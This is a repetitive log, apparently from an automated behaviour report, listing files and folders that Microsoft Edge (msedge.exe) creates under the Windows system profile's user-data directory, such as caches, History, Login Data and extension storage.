Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\README
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\5b5deae7-5948-4f9d-a5d7-7c5c82e1def1.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\First Run
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Safe Browsing
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\FirstLaunchAfterInstallation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\a607a6e0-d121-46b9-acd8-938366051ae4.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\bd0da526-500b-4ec5-9cd7-b01a7259ff1c.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico~RF5e3a1.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\3f586463-88ae-4ee0-80d5-dac3388e889e.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\46406dc5-8b10-4fd0-965d-7071cfdaa9de.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\OriginTrials
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Speech Recognition
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Edge Shopping
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\WidevineCdm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF5e40e.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\284ad408-0612-4642-b727-46e2cd71554f.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\71233176-7db9-45e7-ba37-ca177fe43407.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\4365c6eb-9629-4cdf-ba3e-654008b66739.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF5e70c.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9a7e03ce51b814d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13380823126690596
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris_638343870221005468
